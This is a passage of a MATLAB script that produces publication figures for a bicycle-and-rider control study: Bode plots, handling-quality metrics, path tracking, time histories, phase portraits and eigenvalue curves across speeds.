...\n        'Head2width', 3, 'Head2length', 3)\n    annotation('line', [0.49, 0.75], [0.795 + raise, 0.795 + raise])\nend\n\nfilename = ['benchmark' input 'Closed'];\npathToFile = ['plots' filesep filename];\nprint(gcf, '-deps2c', '-loose', [pathToFile '.eps'])\nfix_ps_linestyle([pathToFile '.eps'])\n\n% open loop plots\nfigure()\nset(gcf, ...\n    'Color', [1, 1, 1], ...\n    'PaperOrientation', 'portrait', ...\n    'PaperUnits', 'inches', ...\n    'PaperPositionMode', 'manual', ...\n    'PaperPosition', [0, 0, figWidth, figHeight], ...\n    'PaperSize', [figWidth, figHeight])\n\nopenLoops = bikeData.openLoops;\n\nhold all\n\nnum = openLoops.Phi.num;\nden = openLoops.Phi.den;\nbodeplot(tf(num, den), freq, bops);\n\nnum = openLoops.Psi.num;\nden = openLoops.Psi.den;\nbodeplot(tf(num, den), freq, bops);\n\nnum = openLoops.Y.num;\nden = openLoops.Y.den;\nopenBode = bodeplot(tf(num, den), freq, bops);\n\nhold off\n\n% clean it up\nopts = getoptions(openBode);\nopts.Title.String = '';\nopts.YLim = {[-80, 20], [-540, -60]};\nopts.PhaseMatching = 'on';\nopts.PhaseMatchingValue = 0;\nsetoptions(openBode, opts)\n\n% find all the lines in the current figure\nlines = findobj(gcf, 'type', 'line');\nlinestyles = {'', '', '-.', '-', '--', '-.', '-', '--'};\nfor i = 3:length(lines)\n    set(lines(i), 'LineStyle', linestyles{i}, ...\n                  'Color', 'k', ...\n                  'LineWidth', 2.0)\nend\n\n\nplotAxes = findobj(gcf, 'type', 'axes');\nset(plotAxes, 'Fontsize', 8, 'XColor', 'k', 'YColor', 'k')\ncloseLeg = legend(lines(8:-1:6), ...\n                  {'$\\phi$ Loop', '$\\psi$ Loop','$y$ Loop'}, ...\n                  'Location', 'Southwest', ...\n                  'Interpreter', 'Latex');\n\n% add zero crossing lines\n%axes(plotAxes(1))\n%line([0.1, 20], [-180, -180], 'Color', 'k')\naxes(plotAxes(2))\nline([0.1, 20], [0, 0], 'Color', 'k')\n\n% add some lines and labels for the cross over frequencies\nif strcmp(input, 'Steer')\n    wc = 2;\n    wShift = [0.42, 0.35, 0.175];\nelse strcmp(input, 'Roll')\n    wc = 1.5;\n    wShift = [0.31, 0.26, 0.1325];\nend\naxes(plotAxes(2))\nhold on\ngray = [0.5, 0.5, 0.5];\n\nline([wc, wc], [-40, 0], 'Color', gray)\ntext(wc - wShift(1), -43, ['$\\omega_c=' num2str(wc) '$'], ...\n     'Interpreter', 'Latex', 'Fontsize', 8)\n\nline([wc / 2, wc / 2], [-30, 0], 'Color', gray)\ntext(wc / 2 - wShift(2), -33, ['$\\omega_c/2=' num2str(wc / 2) '$'], ...\n     'Interpreter', 'Latex', 'Fontsize', 8)\n\nline([wc / 4, wc / 4], [-20, 0], 'Color', gray)\ntext(wc / 4 - wShift(3), -23, ['$\\omega_c/4=' num2str(wc / 4) '$'], ...\n     'Interpreter', 'Latex', 'Fontsize', 8)\n\nhold off\n\ncurPos1 = get(plotAxes(1), 'Position');\ncurPos2 = get(plotAxes(2), 'Position');\nset(plotAxes(1), 'Position', curPos1 + [0, raise, 0, 0])\nset(plotAxes(2), 'Position', curPos2 + [0, raise, 0, 0])\nxLab = get(plotAxes(1), 'Xlabel');\nset(xLab, 'Units', 'normalized')\nset(xLab, 'Position', get(xLab, 'Position') + [0, raise + 0.05, 0])\n\nfilename = ['benchmark' input 'Open.eps'];\npathToFile = ['plots' filesep filename];\nprint(gcf, '-deps2c', '-loose', pathToFile)\nfix_ps_linestyle(pathToFile)\n\n% handling qualities plot\nnum = bikeData.handlingMetric.num;\nden = bikeData.handlingMetric.den;\nw = linspace(0.01, 20, 200);\n[mag, phase, freq] = bode(tf(num, den), w);\nfigure()\nset(gcf, ...\n    'Color', [1, 1, 1], ...\n    'PaperOrientation', 'portrait', ...\n    'PaperUnits', 'inches', ...\n    'PaperPositionMode', 'manual', ...\n    'PaperPosition', [0, 0, figWidth, figHeight], ...\n    'PaperSize', [figWidth, figHeight])\n\nhold on\n\nmetricLine = plot(freq, mag(:)', 'k-', 'Linewidth', 2.0);\nlevel1 = line([0, 20], [5, 5]);\nlevel2 = line([0, 20], [8, 8]);\nset(level1, 'Color', 'k', 'Linestyle', '--', 'Linewidth', 2.0)\nset(level2, 'Color', 'k', 'Linestyle', '--', 'Linewidth', 2.0)\n\nylim([0, 10]);\n\nylabel('Handling Quality Metric')\nxlabel('Frequency (rad/s)')\ntext(3, 3, 'Level 1')\ntext(3, 6.5, 'Level 2')\ntext(3, 9, 'Level 3')\nbox on\n\nfilename = ['benchmark' input 'Handling.eps'];\npathToFile = ['plots' filesep filename];\nprint(gcf, '-deps2', '-loose', pathToFile)\nfix_ps_linestyle(pathToFile)\n\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\nfunction open_loop_all_bikes(data, linestyles, colors)\n% Creates open loop Bode plots of all the bikes.\n\nglobal goldenRatio\n\nbikes = fieldnames(data);\n\nfigure()\nfigWidth = 5.0;\nfigHeight = figWidth / goldenRatio;\nset(gcf, ...\n    'Color', [1, 1, 1], ...\n    'PaperOrientation', 'portrait', ...\n    'PaperUnits', 'inches', ...\n    'PaperPositionMode', 'manual', ...\n    'PaperPosition', [0, 0, figWidth, figHeight], ...\n    'PaperSize', [figWidth, figHeight])\n\nfreq = {0.1, 20.0};\n\n% make sure all bode plots display 'rad/s' instead of 'rad/sec'\nbops = bodeoptions;\nbops.FreqUnits = 'rad/s';\n\nhold all\nfor i = 2:length(bikes)\n    num = data.(bikes{i}).Medium.openLoops.Phi.num;\n    den = data.(bikes{i}).Medium.openLoops.Phi.den;\n    openBode = bodeplot(tf(num, den), freq, bops);\nend\nhold off\n\n% clean it up\nopts = getoptions(openBode);\n%opts.Title.String = '$\\phi$ Open Loop Bode Diagrams at 5 m/s';\nopts.Title.String = '';\n%opts.Title.Interpreter = 'Latex';\nopts.YLim = {[-30, 10], [-540, -90]};\nopts.PhaseMatching = 'on';\nopts.PhaseMatchingValue = 0;\nsetoptions(openBode, opts)\n\n% find all the lines in the current figure\nplotAxes = findobj(gcf, 'type', 'axes');\nmagLines = findobj(plotAxes(2), 'type', 'line');\nphaseLines = findobj(plotAxes(1), 'type', 'line');\n\nfor i = 2:length(magLines)\n    set(magLines(i), ...\n        'LineStyle', linestyles{i - 1}, ...\n        'Color', colors{i - 1}, ...\n        'LineWidth', 1.0)\n    set(phaseLines(i), ...\n        'LineStyle', linestyles{i - 1}, ...\n        'Color', colors{i - 1}, ...\n        'LineWidth', 1.0)\nend\n\ncloseLeg = legend(magLines(2:7), ...\n                  {'1', '2', '3', '4', '5', '6'}, ...\n                  'Location', 'Southwest', ...\n                  'Fontsize', 8);\n\nset(plotAxes, 'YColor', 'k', 'XColor', 'k', 'Fontsize', 8)\n\n% add a zero lines\naxes(plotAxes(1))\nline([0.1, 20], [-180, -180], 'Color', 'k')\naxes(plotAxes(2))\nline([0.1, 20], [0, 0], 'Color', 'k')\n\n% raise the axes cause the xlabel is cut off\nraise = 0.05;\ncurPos1 = get(plotAxes(1), 'Position');\ncurPos2 = get(plotAxes(2), 'Position');\nset(plotAxes(1), 'Position', curPos1 + [0, raise, 0, 0])\nset(plotAxes(2), 'Position', curPos2 + [0, raise, 0, 0])\nxLab = get(plotAxes(1), 'Xlabel');\nset(xLab, 'Units', 'normalized')\nset(xLab, 'Position', get(xLab, 'Position') + [0, raise + 0.05, 0])\n\nfilename = 'openBode.eps';\npathToFile = ['plots' filesep filename];\nprint(pathToFile, '-deps2c', '-loose')\nfix_ps_linestyle(pathToFile)\n\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\nfunction handling_all_bikes(data, rollData, linestyles, colors)\n% Creates handling quality metric for all bikes.\n%\n% Parameters\n% ----------\n% data : structure\n%   Contains data for all bikes a the three speeds for steer input.\n% rollData : structure\n%   Contains the data for the benchmark bike with roll input at medium speed.\n% linestyles : cell array\n%   Linestyle strings, one for each of the six bikes.\n% colors : cell array\n%   Colorspecs for each of the six bikes.\n\nglobal goldenRatio\n\nbikes = fieldnames(data);\nfigure()\nfigWidth = 5.0;\nfigHeight = figWidth / goldenRatio;\nset(gcf, ...\n    'Color', [1, 1, 1], ...\n    'PaperOrientation', 'portrait', ...\n    'PaperUnits', 'inches', ...\n    'PaperPositionMode', 'manual', ...\n    'PaperPosition', [0, 0, figWidth, figHeight], ...\n    'PaperSize', [figWidth, figHeight])\n\nw = linspace(0.01, 20, 200);\nspeedNames = fieldnames(data.Browser);\nfillColors = {[0.82, 0.82, 0.82]\n              [0.68, 0.68, 0.68]\n              [0.95, 0.95, 0.95]};\nhold all\n\n% plot the background area for each family of curves\nfor j = 1:length(speedNames)\n    % get the max values for the set of curves\n    magnitudes = zeros(length(w), length(bikes) - 1);\n    for i = 2:length(bikes)\n        num = data.(bikes{i}).(speedNames{j}).handlingMetric.num;\n        den = data.(bikes{i}).(speedNames{j}).handlingMetric.den;\n        [mag, phase, freq] = bode(tf(num, den), w);\n        magnitudes(:, i - 1) = mag(:)';\n    end\n    maxMag = max(magnitudes, [], 2);\n    % fill the area under the curve\n    area(freq, maxMag, ...\n         'Facecolor', fillColors{j}, ...\n         'Edgecolor', 'none')\nend\n\n% this makes sure that the edges of the fill area don't cover the axes\nset(gca, 'Layer', 'top')\n\n% plot the actual curves\nfor j = 1:length(speedNames)\n    metricLines = zeros(length(bikes) - 1, 1);\n    for i = 2:length(bikes)\n        num = data.(bikes{i}).(speedNames{j}).handlingMetric.num;\n        den = data.(bikes{i}).(speedNames{j}).handlingMetric.den;\n        [mag, phase, freq] = bode(tf(num, den), w);\n        metricLines(i - 1) = plot(freq, mag(:)', ...\n                                 'Color', colors{i - 1}, ...\n                                 'Linestyle', linestyles{i - 1}, ...\n                                 'Linewidth', 2.0);\n    end\nend\n\n% add the roll input bike\nnum = rollData.handlingMetric.num;\nden = rollData.handlingMetric.den;\n[mag, phase, freq] = bode(tf(num, den), w);\nrollLine = plot(freq, mag(:)', 'k', 'Linewidth', 2.0, 'Linestyle', ':');\n\nhold off\n\n% move the roll input line down so it shows on the legend\nchil = get(gca, 'Children');\nlegLines = [chil(end:-1:14)', rollLine];\nlegend(legLines, [{'2.5 m/s', '5.0 m/s', '7.5 m/s'}, ...\n        {'1', '2', '3', '4', '5', '6', 'Hands-free @ 5 m/s'}], ...\n        'Fontsize', 8)\n\nylim([0, 20]);\nlevel1 = line([0, 20], [5, 5]);\nlevel2 = line([0, 20], [8, 8]);\nset(level1, 'Color', 'k', 'Linestyle', '--', 'Linewidth', 1.0)\nset(level2, 'Color', 'k', 'Linestyle', '--', 'Linewidth', 1.0)\nylabel('Handling Quality Metric')\nxlabel('Frequency (rad/s)')\ntext(3.1, 4.3, 'Level 1')\ntext(1.9, 6.5, 'Level 2')\ntext(3, 15, 'Level 3')\nbox on\n\nset(gca, 'YColor', 'k')\n\nfilename = 'handling.eps';\npathToFile = ['plots' filesep filename];\nprint(pathToFile, '-deps2c', '-loose')\nfix_ps_linestyle(pathToFile)\n\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\nfunction path_plots(data, linestyles, colors)\n% Creates a plot of the path tracking for all bikes at all speeds.\n\nglobal goldenRatio\n\nbikes = fieldnames(data);\nspeedNames = fieldnames(data.Browser);\n\nfigure()\nfigWidth = 5.0;\nfigHeight = figWidth / goldenRatio;\nset(gcf, ...\n    'Color', [1, 1, 1], ...\n    'PaperOrientation', 'portrait', ...\n    'PaperUnits', 'inches', ...\n    'PaperPositionMode', 'manual', ...\n    'PaperPosition', [0, 0, figWidth, figHeight], ...\n    'PaperSize', [figWidth, figHeight])\n\nhold all\n\n% shifts the paths by this many meters\nshift = [0, 15, 35];\nfor j = 1:length(speedNames)\n    time = data.(bikes{2}).(speedNames{j}).time;\n    path = data.(bikes{2}).(speedNames{j}).path;\n    speed = data.(bikes{2}).(speedNames{j}).speed;\n    plot(time * speed + shift(j), -path * j, 'k-')\n    for i = 2:length(bikes)\n        x = data.(bikes{i}).(speedNames{j}).outputs(:, 17);\n        x = x + shift(j);\n        y = data.(bikes{i}).(speedNames{j}).outputs(:, 18);\n        plot(x, -y * j, ...\n             'Linestyle', linestyles{i - 1}, ...\n             'Color', colors{i - 1}, ...\n             'Linewidth', 0.75)\n    end\n    [minPath, minPathI] = min(-path * j);\n    dis = time * speed + shift(j);\n    lab = sprintf('%1.1f m/s', speed);\n    text(dis(minPathI) - 15, minPath - 0.4, lab)\nend\n\nhold off\n\n% change the y tick labels to positive and to reflect the 2 meter width\nset(gca, 'YTick', [-7, -6, -4, -2, 0, 1])\nset(gca, 'YTickLabel', {'', '2', '2', '2', '0', ''})\n\nxlim([30 200])\nbox on\nlegend(['Path', {'1', '2', '3', '4', '5', '6'}], ...\n       'Fontsize', 8, 'Location', 'Southeast')\nxlabel('Distance (m)')\nylabel('Lateral Deviation (m)')\nfilename = 'paths.eps';\npathToFile = ['plots' filesep filename];\nprint(pathToFile, '-deps2c', '-loose')\nfix_ps_linestyle(pathToFile)\n\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\nfunction plot_io(variable, io, xAxis, data, linestyles, colors)\n% Creates a plot of the time histories of a particular output or input variable\n% for three different speeds with either time or distance on the x axis.\n%\n% Parameters\n% ----------\n% variable : string\n%   The name of the variable you'd like to plot.\n% io : string\n%   'input' for input and 'output' for output.\n% data : structure\n%   Data for a set of bicycles, the first being the benchmark bicycle.\n% xAxis : string\n%   'Distance' or 'Time' on the x axis.\n% linestyles : cell array\n%   An array of linestyle types, one for each bicycle.\n% colors : cell array\n%   An array of colors, one for each bicycle.\n\nglobal goldenRatio\n\nif strcmp(io, 'input')\n    names = {'Tphi',\n             'Tdelta',\n             'F'};\n    prettyNames = {'$T_\\phi$',\n                   '$T_\\delta$',\n                   '$F$'};\n    units = {'(N-m)',\n             '(N-m)',\n             '(N)'};\nelseif strcmp(io, 'output')\n    names = {'xP',\n             'yP',\n             'psi',\n             'phi',\n             'thetaP',\n             'thetaR',\n             'delta',\n             'thetaF',\n             'xPDot',\n             'ypDot',\n             'psiDot',\n             'phiDot',\n             'thetaPDot',\n             'thetaRDot',\n             'deltaDot',\n             'thetaFDot',\n             'xQ',\n             'yQ'};\n    prettyNames = {'$x_P$',\n                   '$y_P$',\n                   '$\\psi$',\n                   '$\\phi$',\n                   '$\\theta_P$',\n                   '$\\theta_R$',\n                   '$\\delta$',\n                   '$\\theta_F$',\n                   '$\\dot{x}_P$',\n                   '$\\dot{y}_P$',\n                   '$\\dot{\\psi}$',\n                   '$\\dot{\\phi}$',\n                   '$\\dot{\\theta}_P$',\n                   '$\\dot{\\theta}_R$',\n                   '$\\dot{\\delta}$',\n                   '$\\dot{\\theta}_F$',\n                   '$x_Q$',\n                   '$y_Q$'};\n    units = {'(m)',\n             '(m)',\n             '(rad)',\n             '(rad)',\n             '(rad)',\n             '(rad)',\n             '(rad)',\n             '(rad)',\n             '(m/s)',\n             '(m/s)',\n             '(rad/s)',\n             '(rad/s)',\n             '(rad/s)',\n             '(rad/s)',\n             '(rad/s)',\n             '(rad/s)',\n             '(m)',\n             '(m)'};\nelse\n    error('Please choose i or o')\nend\n\nindex = find(ismember(names, variable) == 1);\n\nbikes = fieldnames(data);\nspeedNames = fieldnames(data.Browser);\n\nfigure()\nfigWidth = 5.0;\nfigHeight = figWidth / goldenRatio;\nset(gcf, ...\n    'Color', [1, 1, 1], ...\n    'PaperOrientation', 'portrait', ...\n    'PaperUnits', 'inches', ...\n    'PaperPositionMode', 'manual', ...\n    'PaperPosition', [0, 0, figWidth, figHeight], ...\n    'PaperSize', [figWidth, figHeight])\n\n% find the maximum value of the variable\nmaxValue = 0;\nfor i = 2:length(bikes)\n    for j = 1:length(speedNames)\n        oneSpeed = data.(bikes{i}).(speedNames{j});\n        history = oneSpeed.([io 's'])(:, index);\n        if max(history) > maxValue\n            maxValue = max(history);\n        end\n    end\nend\n\nm = round(maxValue * 100) / 100;\npad = 0.15 * m;\nyShift = [0, 2 * (m + pad), 4 * (m + pad)];\n\n% shifts the paths by this many meters along the x axis\nxShift = [0, 15, 35];\nhold all\nfor j = 1:length(speedNames)\n    for i = 2:length(bikes)\n        oneSpeed = data.(bikes{i}).(speedNames{j});\n        time = oneSpeed.time;\n        speed = oneSpeed.speed;\n        distance = time * speed + xShift(j);\n        % time history of the value\n        history = oneSpeed.([io 's'])(:, index) + yShift(j);\n        if strcmp(xAxis, 'Distance')\n            xData = distance;\n            textX = 165;\n        elseif strcmp(xAxis, 'Time')\n            xData = time;\n            textX = 2;\n        else\n            error('Choose Time or Distance, no other')\n        end\n        plot(xData, history, ...\n             'Linestyle', linestyles{i - 1}, ...\n             'Color', colors{i - 1}, ...\n             'Linewidth', 0.75)\n    end\n    % add labels for the speeds\n    text(textX, yShift(j) + 4 * pad, [num2str(speed) ' m/s'])\nend\n\nylim([-m - pad, yShift(3) + m + pad])\nset(gca, 'YTick', ...\n    [-m, yShift(1), m, ...\n     yShift(2) - m, yShift(2), yShift(2) + m, ...\n     yShift(3) - m, yShift(3), yShift(3) + m])\nticks = {num2str(-m), '0', num2str(m)};\nset(gca, 'YTickLabel', [ticks, ticks ticks])\n\nif strcmp(xAxis, 'Distance')\n    xlabel('Distance (m)')\n    xLimits = [35, 190];\n    xlim(xLimits)\n    loc = 'Northwest';\nelse\n    xlabel('Time (s)')\n    xLimits = [0, 50];\n    xlim(xLimits)\n    loc = 'Northeast';\nend\nl1 = line(xLimits, [yShift(1) + m + pad, yShift(1) + m + pad]);\nl2 = line(xLimits, [yShift(2) + m + pad, yShift(2) + m + pad]);\nset([l1, l2], 'Color', 'k')\nhold off\nset(gca, 'Fontsize', 8)\nfirst = [prettyNames{index} ' ' units{index}];\nylabel(first, 'Interpreter', 'Latex')\nbox on\nlegend({'1', '2', '3', '4', '5', '6'}, 'Fontsize', 8, 'Location', loc)\n\n% if it is the steer angle plot for distance, add a magnifier for the\n% countersteer\nif strcmp(variable, 'delta') && strcmp(xAxis, 'Distance')\n    % Specify the position and the size of the rectangle\n    x_r = 37; y_r = 0; w_r = 4; h_r = 0.01;\n    rectangle('Position', [x_r-w_r/2, y_r-h_r/2, w_r, h_r], ...\n              'EdgeColor', 'k');\n    % Specify the position and the size of the 2. axis\n    x_a = 0.2; y_a = 0.29; w_a = 0.15; h_a = w_a * h_r / w_r * 20 / 0.05;\n    ax = axes('Units', 'Normalized', ...\n              'Position', [x_a, y_a, w_a, h_a], ...\n              'XTick', [], ...\n              'YTick', [], ...\n              'Box', 'on', ...\n              'LineWidth', 0.5, ...\n              'Color', 'w');\n    hold on\n    j = 1;\n    for i = 2:length(bikes)\n        oneSpeed = data.(bikes{i}).(speedNames{j});\n        time = oneSpeed.time;\n        speed = oneSpeed.speed;\n        distance = time * speed + xShift(j);\n        % time history of the value\n        history = oneSpeed.([io 's'])(:, index) + yShift(j);\n        plot(distance, history, ...\n             'Linestyle', linestyles{i - 1}, ...\n             'Color', colors{i - 1}, ...\n             'Linewidth', 0.75)\n    end\n    hold off\n    axis([x_r-w_r/2, x_r+w_r/2, y_r-h_r/2, y_r+h_r/2]);\n    text(35.3, -0.003, 'Countersteer', 'Fontsize', 8)\n    % bottom left\n    annotation('line', [x_a, 0.129], [y_a, 0.235])\n    % top left\n    annotation('line', [x_a, 0.132], [y_a + h_a, 0.26])\n    % bottom right\n    annotation('line', [x_a + w_a, 0.15], [y_a, 0.235])\n    % top right\n    annotation('line', [x_a, 0.15], [y_a + 0.02, 0.26])\nend\n\n% save the file\nfilename = [variable xAxis '.eps'];\nprint(['plots' filesep filename], '-deps2c', '-loose')\nfix_ps_linestyle(['plots' filesep filename])\n\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\nfunction plot_io_roll(rollData, xAxis)\n\nglobal goldenRatio\n\n% closed loop bode plots\nfigure()\nfigWidth = 5.0;\nfigHeight = figWidth / goldenRatio;\nset(gcf, ...\n    'Color', [1, 1, 1], ...\n    'PaperOrientation', 'portrait', ...\n    'PaperUnits', 'inches', ...\n    'PaperPositionMode', 'manual', ...\n    'PaperPosition', [0, 0, figWidth, figHeight], ...\n    'PaperSize', [figWidth, figHeight])\n\nspeed = rollData.speed;\ntime = rollData.time;\npath = rollData.path;\nfrontWheel = rollData.outputs(:, 18);\nrollAngle = rollData.outputs(:, 4);\nsteerAngle = rollData.outputs(:, 7);\nrollTorque = rollData.inputs(:, 1);\n\n% plot the path\nsubplot(2, 1, 1)\nhold all\nif strcmp(xAxis, 'Distance')\n    plot(speed * time, -path, 'k-', 'Linewidth', 1.0)\n    plot(speed * time, -frontWheel, 'k:', 'Linewidth', 1.0)\n    xlabel('Distance (m)')\n    xlim([30, 150])\nelseif strcmp(xAxis, 'Time')\n    plot(time, -path, 'k-', 'Linewidth', 1.0)\n    plot(time, -frontWheel, 'k:', 'Linewidth', 1.0)\n    xlabel('Time (s)')\n    xlim([30 / speed, 150 / speed])\nelse\n    error('Bad xAxis, choose Distance or Time')\nend\nhold off\nbox on\nylabel('Lateral Deviation (m)')\nylim([-2.2, 0.2])\nset(gca, 'YTickLabel', {'2', '1', '0'})\nlegend({'Path'}, ...\n       'Interpreter', 'Latex', ...\n       'Fontsize', 8, ...\n       'Location', 'Southeast')\n\nsubplot(2, 1, 2)\nhold all\nif strcmp(xAxis, 'Distance')\n    plot(speed * time, rollAngle, 'k-', 'Linewidth', 1.0)\n    [ax, h1, h2] = plotyy(speed * time, steerAngle, speed * time, rollTorque);\n    xlabel('Distance (m)')\n    xlim(ax(1), [30, 150])\n    xlim(ax(2), [30, 150])\nelseif strcmp(xAxis, 'Time')\n    plot(time, rollAngle, 'k-', 'Linewidth', 1.0)\n    [ax, h1, h2] = plotyy(time, steerAngle, time, rollTorque);\n    xlabel('Time (s)')\n    xlim(ax(1), [30 / speed, 150 / speed])\n    xlim(ax(2), [30 / speed, 150 / speed])\nelse\n    error('Bad xAxis, choose Distance or Time')\nend\nhold off\nbox on\n\nset(get(ax(1), 'Ylabel'), ...\n    'String', 'Angle (rad)', ...\n    'Color', 'k')\nset(get(ax(2), 'Ylabel'), ...\n    'String', 'Torque (N-m)', ...\n    'Color', 'k')\nset(ax, 'YColor', 'k', 'Fontsize', 8)\nset(h1, 'Linestyle', '--', 'Color', 'k', 'Linewidth', 1.0)\nset(h2, 'Linestyle', '-.', 'Color', 'k', 'Linewidth', 1.0)\nlegend({'$\\phi$', '$\\delta$', '$T_\\phi$'}, ...\n       'Interpreter', 'Latex', ...\n       'Fontsize', 8, ...\n       'Location', 'Northeast')\n\nif strcmp(xAxis, 'Distance')\n    axes(ax(2))\n    % magnifier rectangle\n    x_r = 38; y_r = 0; w_r = 10; h_r = 0.3;\n    rectangle('Position', [x_r-w_r/2, y_r-h_r/2, w_r, h_r], ...\n              'EdgeColor', 'k');\n    % magnify it\n    x_a = 0.14; y_a = 0.432; w_a = 0.28; h_a = 0.12;\n    inset = axes('Units', 'Normalized', ...\n                 'Position', [x_a, y_a, w_a, h_a], ...\n                 'Box', 'on', ...\n                 'LineWidth', 0.5, ...\n                 'Color', [0.8, 0.8, 0.8]);\n    hold on\n    plot(inset, time, rollAngle, 'k-', 'Linewidth', 1.0)\n    [ax, h1, h2] = plotyy(inset, time, steerAngle, time, rollTorque);\n    set(ax, 'XTick', [], ...\n            'YTick', [], ...\n            'YColor', 'k')\n    set(h1, 'Linestyle', '--', 'Color', 'k', 'Linewidth', 1.0)\n    set(h2, 'Linestyle', '-.', 'Color', 'k', 'Linewidth', 1.0)\n    axis(ax(1), [7, 8.5, -0.0025, 0.0025])\n    axis(ax(2), [7, 8.5, -0.0025 / 0.02, 0.0025 / 0.02])\n\n    % draw some lines connecting the corners\n    annotation('line', [x_a, 0.149], [y_a, 0.287])\n    annotation('line', [x_a + w_a, 0.213], [y_a, 0.287])\n    annotation('textbox', [0.26, 0.47, 0.1, 0.02], ...\n               'String', 'Countersteer', ...\n               'Fontsize', 8, ...\n               'Edgecolor', 'none')\nend\n\nfilename = ['roll' xAxis '.eps'];\nprint(gcf, ['plots' filesep filename], '-deps2c', '-loose')\nfix_ps_linestyle(['plots' filesep filename])\n\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\nfunction phase_portraits(bikeData)\n% Creates four phase portrait plots to demonstrate the effects on the phase\n% portraits when adjusting the gains.\n\nglobal goldenRatio\n\nfigure()\nfigWidth = 6.0;\nfigHeight = figWidth / goldenRatio;\nset(gcf, ...\n    'Color', [1, 1, 1], ...\n    'PaperOrientation', 'portrait', ...\n    'PaperUnits', 'inches', ...\n    'PaperPositionMode', 'manual', ...\n    'OuterPosition', [424, 305 - 50, 518, 465], ...\n    'PaperPosition', [0, 0, figWidth, figHeight], ...\n    'PaperSize', [figWidth, figHeight])\n\n% this is the gain multiplier for the non-nominal plot\ngainChanges = [1.2, 1, 1, 1, 1;\n               1, 1.2, 1, 1, 1;\n               1, 1, 1.2, 1, 1;\n               1, 1, 1.2, 0.8, 0.8];\n\nloopNames = {'kDelta', 'kPhiDot', 'kPhi', 'kPhi'};\n% the x and y indices for each plot\nxy = [7, 15;\n      4, 12;\n      4, 12;\n      4, 12];\n% where to get the x and y data from\nxySource = {'outputs', 'outputsDot', 'outputs', 'outputs'};\n\n% axis labels\nxlabels = {'(a) $\\delta$ (rad)',\n           '(b) $\\dot{\\phi}$ (rad/s)',\n           '(c) $\\phi$ (rad)',\n           '(d) $\\phi$ (rad)'};\nylabels = {'$\\dot{\\delta}$ (rad/s)',\n           '$\\ddot{\\phi}$ (rad/s$^2$)',\n           '$\\dot{\\phi}$ (rad/s)',\n           '$\\dot{\\phi}$ (rad/s)'};\n\n% legend starts\nlegends = {'$k_\\delta$ = ',\n           '$k_{\\dot{\\phi}}$ = ',\n           '$k_\\phi$ = ',\n           '$k_\\phi$ = '};\n% how many decimals to show for each legend\nfloatSpec = {'%1.1f', '%1.3f', '%1.1f', '%1.1f'};\n\nfor i = 1:length(loopNames)\n\n    display(sprintf('Calculating phase portrait %d', i))\n\n    % adjust the gains and get the data\n    twentyPercent = generate_data('Benchmark', 5.0, ...\n                                  'gainMuls', gainChanges(i, :));\n    subplot(2, 2, i)\n    hold on\n\n    if i == 4\n        display('Phase portrait 4 comparison data.')\n        nominalData = generate_data('Benchmark', 5.0, ...\n                                  'gainMuls', [1, 1, 1, 0.8, 0.8]);\n        x = nominalData.(xySource{i})(:, xy(i, 1));\n        y = nominalData.(xySource{i})(:, xy(i, 2));\n    else\n        x = bikeData.(xySource{i})(:, xy(i, 1));\n        y = bikeData.(xySource{i})(:, xy(i, 2));\n    end\n    plot(x, y, 'k-', 'Linewidth', 1.0)\n\n    x = twentyPercent.(xySource{i})(:, xy(i, 1));\n    y = twentyPercent.(xySource{i})(:, xy(i, 2));\n    plot(x, y, 'k--', 'Linewidth', 1.0)\n\n    hold off\n\n    box on\n    axis equal\n    xlabel(xlabels{i}, 'Interpreter', 'Latex', 'Fontsize', 8)\n    ylabel(ylabels{i}, 'Interpreter', 'Latex', 'Fontsize', 8)\n\n    % make the legend\n    leg1 = sprintf(floatSpec{i}, bikeData.modelPar.(loopNames{i}));\n    leg2 = sprintf(floatSpec{i}, twentyPercent.modelPar.(loopNames{i}));\n    legend({[legends{i} leg1], [legends{i} leg2]} , ...\n           'Interpreter', 'Latex', ...\n           'Fontsize', 6)\nend\n\nplotAxes = findobj(gcf, 'Type', 'Axes');\nset(plotAxes, 'Fontsize', 8)\n\n% save the plot\nfilename = 'phasePortraits.eps';\nprint(gcf, ['plots' filesep filename], '-deps2c', '-loose')\nfix_ps_linestyle(['plots' filesep filename])\n\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\nfunction eigenvalues(data, linestyles, colors)\n\nglobal goldenRatio\n\nfigure()\nfigWidth = 5.0;\nfigHeight = figWidth / goldenRatio;\nset(gcf, ...\n    'Color', [1, 1, 1], ...\n    'PaperOrientation', 'portrait', ...\n    'PaperUnits', 'inches', ...\n    'PaperPositionMode', 'manual', ...\n    'PaperPosition', [0, 0, figWidth, figHeight], ...\n    'PaperSize', [figWidth, figHeight])\n\nbikes = fieldnames(data);\nbikes(1) = [];\nspeeds = 0:0.1:10;\neVals = zeros(length(bikes), length(speeds), 11);\nfor i = 1:length(bikes)\n    % load the bicycle parameters\n    pathToParFile = ['parameters' filesep bikes{i} 'Par.txt'];\n    par = par_text_to_struct(pathToParFile);\n    str = 'Calculating eigenvalues for the %s bicycle and rider.';\n    display(sprintf(str, bikes{i}))\n    for j = 1:length(speeds)\n        % calculate the A, B, C, and D matrices of the bicycle model\n        [A, B, C, D] = whipple_pull_force_abcd(par, speeds(j));\n        eigenValues = eig(A);\n        eVals(i, j, :) = real(eig(A));\n    end\nend\n\n% reduce to the maximum values\nzeroIndices = find(abs(eVals) <= 0.000001);\neVals(zeroIndices) = -100 * ones(size(zeroIndices));\nmaxEvals = max(eVals, [], 3);\n\nlines = plot(speeds, maxEvals);\n\nfor i = 1:length(lines)\n    set(lines(i), ...\n        'Linestyle', linestyles{i}, 